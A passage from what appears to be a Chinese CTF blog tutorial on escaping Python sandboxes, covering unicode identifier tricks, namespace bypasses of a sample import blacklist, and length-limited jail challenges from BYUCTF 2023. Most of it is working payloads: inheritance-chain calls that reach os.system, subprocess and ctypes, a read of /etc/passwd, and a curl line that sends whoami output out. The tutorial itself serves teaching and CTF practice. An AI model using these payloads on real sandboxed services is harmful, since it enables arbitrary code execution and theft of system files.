<code>getattr(__import__('binascii'),'a2b_base64')</code></p><p>如果将，号和。都过滤了，则可以有如下的几种方式获取函数：</p><ol><li><p>内建函数可以使用 <code>eval(list(dict(s_t_r=1))[0][::2])</code>  这样的方式获取。</p></li><li><p>模块内的函数可以先使用 <code>__import__</code> 导入函数，然后使用 vars () j 进行获取：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">vars</span>(<span class="built_in">__import__</span>(<span class="string">&#x27;binascii&#x27;</span>))[<span class="string">&#x27;a2b_base64&#x27;</span>]</span><br><span class="line">&lt;built-<span class="keyword">in</span> function a2b_base64&gt;</span><br></pre></td></tr></table></figure></div></li></ol><h4 id="unicode-绕过"><a class="markdownIt-Anchor" href="#unicode-绕过">#</a> unicode 绕过</h4><p>Python 3 开始支持非 ASCII 字符的标识符，也就是说，可以使用 Unicode 字符作为 Python 的变量名，函数名等。Python 在解析代码时，使用的 Unicode Normalization Form KC (NFKC) 规范化算法，这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/09/KNHh3LtUlbfiruA.png" alt="image.png"></p><p>相似 unicode 寻找网站：<a class="link" href="http://shapecatcher.com/">http://shapecatcher.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>可以通过绘制的方式寻找相似字符</p><p>下划线可以使用对应的全角字符进行替换：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">＿</span><br></pre></td></tr></table></figure></div><p>使用时注意第一个字符不能为全角，否则会报错：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">print</span>(_＿name_＿)</span><br><span class="line">__main__</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">print</span>(＿＿name_＿)</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span></span><br><span class="line">    <span class="built_in">print</span>(＿＿name_＿)</span><br><span class="line">          ^</span><br><span class="line">SyntaxError: invalid character <span class="string">&#x27;＿&#x27;</span> (U+FF3F)</span><br></pre></td></tr></table></figure></div><p><strong>需要注意的是，某些 unicode 在遇到 lower () 函数时也会发生变换，因此碰到 lower ()、upper () 这样的函数时要格外注意。</strong></p><h3 id="绕过命名空间限制"><a class="markdownIt-Anchor" href="#绕过命名空间限制">#</a> 绕过命名空间限制</h3><h4 id="部分限制"><a class="markdownIt-Anchor" href="#部分限制">#</a> 部分限制</h4><p>有些沙箱在构建时使用 exec 来执行命令，exec 函数的第二个参数可以指定命名空间，通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">_hook_import_</span>(<span class="params">name, *args, **kwargs</span>):</span><br><span class="line">    module_blacklist = [<span class="string">&#x27;os&#x27;</span>, <span class="string">&#x27;sys&#x27;</span>, <span class="string">&#x27;time&#x27;</span>, <span class="string">&#x27;bdb&#x27;</span>, <span class="string">&#x27;bsddb&#x27;</span>, <span class="string">&#x27;cgi&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;CGIHTTPServer&#x27;</span>, <span class="string">&#x27;cgitb&#x27;</span>, <span class="string">&#x27;compileall&#x27;</span>, <span class="string">&#x27;ctypes&#x27;</span>, <span class="string">&#x27;dircache&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;doctest&#x27;</span>, <span class="string">&#x27;dumbdbm&#x27;</span>, <span class="string">&#x27;filecmp&#x27;</span>, <span class="string">&#x27;fileinput&#x27;</span>, <span class="string">&#x27;ftplib&#x27;</span>, <span class="string">&#x27;gzip&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;getopt&#x27;</span>, <span class="string">&#x27;getpass&#x27;</span>, <span class="string">&#x27;gettext&#x27;</span>, <span class="string">&#x27;httplib&#x27;</span>, <span class="string">&#x27;importlib&#x27;</span>, <span class="string">&#x27;imputil&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;linecache&#x27;</span>, <span class="string">&#x27;macpath&#x27;</span>, <span class="string">&#x27;mailbox&#x27;</span>, <span class="string">&#x27;mailcap&#x27;</span>, <span class="string">&#x27;mhlib&#x27;</span>, <span class="string">&#x27;mimetools&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;mimetypes&#x27;</span>, <span class="string">&#x27;modulefinder&#x27;</span>, <span class="string">&#x27;multiprocessing&#x27;</span>, <span class="string">&#x27;netrc&#x27;</span>, <span class="string">&#x27;new&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;optparse&#x27;</span>, <span class="string">&#x27;pdb&#x27;</span>, <span class="string">&#x27;pipes&#x27;</span>, <span class="string">&#x27;pkgutil&#x27;</span>, <span class="string">&#x27;platform&#x27;</span>, <span class="string">&#x27;popen2&#x27;</span>, <span class="string">&#x27;poplib&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;posix&#x27;</span>, <span class="string">&#x27;posixfile&#x27;</span>, <span class="string">&#x27;profile&#x27;</span>, <span class="string">&#x27;pstats&#x27;</span>, <span class="string">&#x27;pty&#x27;</span>, <span class="string">&#x27;py_compile&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;pyclbr&#x27;</span>, <span class="string">&#x27;pydoc&#x27;</span>, <span class="string">&#x27;rexec&#x27;</span>, <span class="string">&#x27;runpy&#x27;</span>, <span class="string">&#x27;shlex&#x27;</span>, <span class="string">&#x27;shutil&#x27;</span>, <span class="string">&#x27;SimpleHTTPServer&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;SimpleXMLRPCServer&#x27;</span>, <span class="string">&#x27;site&#x27;</span>, <span class="string">&#x27;smtpd&#x27;</span>, <span class="string">&#x27;socket&#x27;</span>, <span class="string">&#x27;SocketServer&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;subprocess&#x27;</span>, <span class="string">&#x27;sysconfig&#x27;</span>, <span class="string">&#x27;tabnanny&#x27;</span>, <span class="string">&#x27;tarfile&#x27;</span>, <span class="string">&#x27;telnetlib&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;tempfile&#x27;</span>, <span class="string">&#x27;Tix&#x27;</span>, <span class="string">&#x27;trace&#x27;</span>, <span class="string">&#x27;turtle&#x27;</span>, <span class="string">&#x27;urllib&#x27;</span>, <span class="string">&#x27;urllib2&#x27;</span>,</span><br><span class="line">                        <span class="string">&#x27;user&#x27;</span>, <span class="string">&#x27;uu&#x27;</span>, <span class="string">&#x27;webbrowser&#x27;</span>, <span class="string">&#x27;whichdb&#x27;</span>, <span class="string">&#x27;zipfile&#x27;</span>, <span class="string">&#x27;zipimport&#x27;</span>]</span><br><span class="line">    <span class="keyword">for</span> forbid <span class="keyword">in</span> module_blacklist:</span><br><span class="line">        <span class="keyword">if</span> name == forbid:        <span class="comment"># don&#x27;t let user import these modules</span></span><br><span class="line">            <span class="keyword">raise</span> RuntimeError(<span class="string">&#x27;No you can\&#x27; import &#123;0&#125;!!!&#x27;</span>.<span class="built_in">format</span>(forbid))</span><br><span class="line">    <span class="comment"># normal modules can be imported</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">__import__</span>(name, *args, **kwargs)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sandbox_exec</span>(<span class="params">command</span>):      <span class="comment"># sandbox user input</span></span><br><span class="line">    result = <span class="number">0</span></span><br><span class="line">    __sandboxed_builtins__ = <span class="built_in">dict</span>(__builtins__.__dict__)</span><br><span class="line">    __sandboxed_builtins__[<span class="string">&#x27;__import__&#x27;</span>] = _hook_import_    <span class="comment"># hook import</span></span><br><span class="line">    <span class="keyword">del</span> __sandboxed_builtins__[<span class="string">&#x27;open&#x27;</span>]</span><br><span class="line">    _<span class="keyword">global</span> = &#123;</span><br><span class="line">        <span class="string">&#x27;__builtins__&#x27;</span>: __sandboxed_builtins__</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ...</span><br><span class="line">        <span class="built_in">exec</span> command <span class="keyword">in</span> _<span class="keyword">global</span>     <span class="comment"># do calculate in a sandboxed  </span></span><br><span class="line">    ...</span><br></pre></td></tr></table></figure></div><ol><li>沙箱首先获取  <code>__builtins__</code> ，然后依据现有的  <code>__builtins__</code>  来构建命名空间。</li><li>修改  <code>__import__</code>  函数为自定义的 <code>_hook_import_</code></li><li>删除 open 函数防止文件操作</li><li>exec 命令。</li></ol><p>绕过方式：</p><p>由于 exec 运行在特定的命名空间里，可以通过获取其他命名空间里的  <code>__builtins__</code> （这个 <code>__builtins__</code> 保存的就是原始 <code>__builtins__</code> 的引用），比如 types 库，来执行任意命令：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">__import__</span>(<span class="string">&#x27;types&#x27;</span>).__builtins__</span><br><span class="line"><span class="built_in">__import__</span>(<span class="string">&#x27;string&#x27;</span>).__builtins__</span><br></pre></td></tr></table></figure></div><h4 id="完全限制no-builtins"><a class="markdownIt-Anchor" href="#完全限制no-builtins">#</a> 完全限制 (no builtins)</h4><p>如果沙箱完全清空了  <code>__builtins__</code> , 则无法使用 import, 如下：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&quot;__import__&quot;</span>, &#123;<span class="string">&quot;__builtins__&quot;</span>: &#123;&#125;&#125;,&#123;<span class="string">&quot;__builtins__&quot;</span>: &#123;&#125;&#125;)</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">  File <span class="string">&quot;&lt;string&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">NameError: name <span class="string">&#x27;__import__&#x27;</span> <span class="keyword">is</span> <span class="keyword">not</span> defined</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&quot;__import__&quot;</span>)</span><br><span class="line">&lt;built-<span class="keyword">in</span> function <span class="built_in">__import__</span>&gt;</span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">exec</span>(<span class="string">&quot;import os&quot;</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">exec</span>(<span class="string">&quot;import os&quot;</span>,&#123;<span class="string">&quot;__builtins__&quot;</span>: &#123;&#125;&#125;,&#123;<span class="string">&quot;__builtins__&quot;</span>: &#123;&#125;&#125;)</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">  File <span class="string">&quot;&lt;string&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">ImportError: <span class="built_in">__import__</span> <span class="keyword">not</span> found</span><br></pre></td></tr></table></figure></div><p>这种情况下我们就需要利用 python 继承链来绕过，其步骤简单来说，就是通过 python 继承链获取内置类，然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。</p><p><a class="link" href="https://xz.aliyun.com/t/2308?time__1311=n4%2BxnieDqWqYq7KYBKDsf3ObzDkQKQ11DBQoD">用 python 继承链搞事情 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>具体原理可见：<a class="link" href="https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/#%E8%BF%87%E6%BB%A4-globals">Python 沙箱逃逸小结 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>常见的一些 payload 如下:</p><h5 id="rce-2"><a class="markdownIt-Anchor" href="#rce-2">#</a> RCE</h5><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># os</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__==<span class="string">&quot;_wrap_close&quot;</span>][<span class="number">0</span>][<span class="string">&quot;system&quot;</span>](<span class="string">&quot;ls&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># subprocess </span></span><br><span class="line">[ x <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__ == <span class="string">&#x27;Popen&#x27;</span>][<span class="number">0</span>](<span class="string">&#x27;ls&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># builtins</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__==<span class="string">&quot;_GeneratorContextManagerBase&quot;</span> <span class="keyword">and</span> <span class="string">&quot;os&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;__builtins__&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># help</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__==<span class="string">&quot;_GeneratorContextManagerBase&quot;</span> <span class="keyword">and</span> <span class="string">&quot;os&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;__builtins__&quot;</span>][<span class="string">&#x27;help&#x27;</span>]</span><br><span class="line"></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__==<span class="string">&quot;_wrap_close&quot;</span>][<span class="number">0</span>][<span class="string">&#x27;__builtins__&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#sys</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;sys&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;sys&quot;</span>].modules[<span class="string">&quot;os&quot;</span>].system(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line"></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;&#x27;_sitebuiltins.&quot;</span> <span class="keyword">in</span> <span class="built_in">str</span>(x) <span class="keyword">and</span> <span class="keyword">not</span> <span class="string">&quot;_Helper&quot;</span> <span class="keyword">in</span> <span class="built_in">str</span>(x) ][<span class="number">0</span>][<span class="string">&quot;sys&quot;</span>].modules[<span class="string">&quot;os&quot;</span>].system(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#commands (not very common)</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;commands&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;commands&quot;</span>].getoutput(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#pty (not very common)</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;pty&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;pty&quot;</span>].spawn(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#importlib</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;importlib&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;importlib&quot;</span>].import_module(<span class="string">&quot;os&quot;</span>).system(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;importlib&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;importlib&quot;</span>].<span class="built_in">__import__</span>(<span class="string">&quot;os&quot;</span>).system(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#imp</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;&#x27;imp.&quot;</span> <span class="keyword">in</span> <span class="built_in">str</span>(x) ][<span class="number">0</span>][<span class="string">&quot;importlib&quot;</span>].import_module(<span class="string">&quot;os&quot;</span>).system(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;&#x27;imp.&quot;</span> <span class="keyword">in</span> <span class="built_in">str</span>(x) ][<span class="number">0</span>][<span class="string">&quot;importlib&quot;</span>].<span class="built_in">__import__</span>(<span class="string">&quot;os&quot;</span>).system(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#pdb</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;pdb&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;pdb&quot;</span>].os.system(<span class="string">&quot;ls&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ctypes</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;builtins&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;builtins&quot;</span>].<span class="built_in">__import__</span>(<span class="string">&#x27;ctypes&#x27;</span>).CDLL(<span class="literal">None</span>).system(<span class="string">&#x27;ls /&#x27;</span>.encode())</span><br><span class="line"></span><br><span class="line"><span class="comment"># multiprocessing</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;builtins&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;builtins&quot;</span>].<span class="built_in">__import__</span>(<span class="string">&#x27;multiprocessing&#x27;</span>).Process(target=<span class="keyword">lambda</span>: <span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;curl localhost:9999/?a=`whoami`&#x27;</span>)).start()</span><br></pre></td></tr></table></figure></div><h5 id="file"><a class="markdownIt-Anchor" href="#file">#</a> File</h5><p>操作文件可以使用 builtins 中的 open，也可以使用 FileLoader 模块的 get_data 方法。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[ x <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__==<span class="string">&quot;FileLoader&quot;</span> ][<span class="number">0</span>].get_data(<span class="number">0</span>,<span class="string">&quot;/etc/passwd&quot;</span>)</span><br></pre></td></tr></table></figure></div><h3 id="绕过长度限制"><a class="markdownIt-Anchor" href="#绕过长度限制">#</a> 绕过长度限制</h3><p>BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">eval</span>((<span class="built_in">__import__</span>(<span class="string">&quot;re&quot;</span>).sub(<span class="string">r&#x27;[a-z0-9]&#x27;</span>,<span class="string">&#x27;&#x27;</span>,<span class="built_in">input</span>(<span class="string">&quot;code &gt; &quot;</span>).lower()))[:<span class="number">130</span>])</span><br></pre></td></tr></table></figure></div><p>题目限制不能出现数字字母，构造的目标是调用 open 函数进行读取</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>(<span class="built_in">open</span>(<span class="built_in">bytes</span>([<span class="number">102</span>,<span class="number">108</span>,<span class="number">97</span>,<span class="number">103</span>,<span class="number">46</span>,<span class="number">116</span>,<span class="number">120</span>,<span class="number">116</span>])).read())</span><br></pre></td></tr></table></figure></div><p>函数名比较好绕过，直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr (333).</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># f = 102 = 333-231 = ord(&#x27;ō&#x27;)-ord(&#x27;ç&#x27;)</span></span><br><span class="line"><span class="comment"># a = 108 = 333-225 = ord(&#x27;ō&#x27;)-ord(&#x27;á&#x27;)</span></span><br><span class="line"><span class="comment"># l = 97 = 333-236 = ord(&#x27;ō&#x27;)-ord(&#x27;ì&#x27;)</span></span><br><span class="line"><span class="comment"># g = 103 = 333-230 = ord(&#x27;ō&#x27;)-ord(&#x27;æ&#x27;)</span></span><br><span class="line"><span class="comment"># . = 46 = 333-287 = ord(&#x27;ō&#x27;)-ord(&#x27;ğ&#x27;)</span></span><br><span class="line"><span class="comment"># t = 116 = 333-217 = ord(&#x27;ō&#x27;)-ord(&#x27;Ù&#x27;)</span></span><br><span class="line"><span class="comment"># x = 120 = = 333-213 = ord(&#x27;ō&#x27;)-ord(&#x27;Õ&#x27;)</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">open</span>(<span class="built_in">bytes</span>([<span class="built_in">ord</span>(<span class="string">&#x27;ō&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;ç&#x27;</span>),<span class="built_in">ord</span>(<span class="string">&#x27;ō&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;á&#x27;</span>),<span class="built_in">ord</span>(<span class="string">&#x27;ō&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;ì&#x27;</span>),<span class="built_in">ord</span>(<span class="string">&#x27;ō&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;æ&#x27;</span>),<span class="built_in">ord</span>(<span class="string">&#x27;ō&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;ğ&#x27;</span>),<span class="built_in">ord</span>(<span class="string">&#x27;ō&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;Ù&#x27;</span>),<span class="built_in">ord</span>(<span class="string">&#x27;ō&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;Õ&#x27;</span>),<span class="built_in">ord</span>(<span class="string">&#x27;ō&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;Ù&#x27;</span>)])).read())</span><br></pre></td></tr></table></figure></div><p>但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号；，这种情况下，我们可以添加一个 exec。然后将 ord 以及不变的  <code>a('ō')</code>  进行替换。这样就可以构造一个满足条件的 payload</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">exec</span>(<span class="string">&quot;a=ord;b=a(&#x27;ō&#x27;);print(open(bytes([b-a(&#x27;ç&#x27;),b-a(&#x27;á&#x27;),b-a(&#x27;ì&#x27;),b-a(&#x27;æ&#x27;),b-a(&#x27;ğ&#x27;),b-a(&#x27;Ù&#x27;),b-a(&#x27;Õ&#x27;),b-a(&#x27;Ù&#x27;)])).read())&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>但其实尝试之后发现这个 payload 会报错，原因在于其中的某些 unicode 字符遇到 lower () 时会发生变化，避免 lower 产生干扰，可以在选取 unicode 时选择 ord 值更大的字符。例如 chr (4434)</p><p>当然，可以直接使用 input 函数来绕过长度限制。</p><h4 id="打开-input-输入"><a class="markdownIt-Anchor" href="#打开-input-输入">#</a> 打开 input 输入</h4><p>如果沙箱内执行的内容是通过 input 进行传入的话（不是 web 传参），我们其实可以传入一个 input 打开一个新的输入流，然后再输入最终的 payload，这样就可以绕过所有的防护。</p><p>以 BYUCTF2023 jail a-z0-9 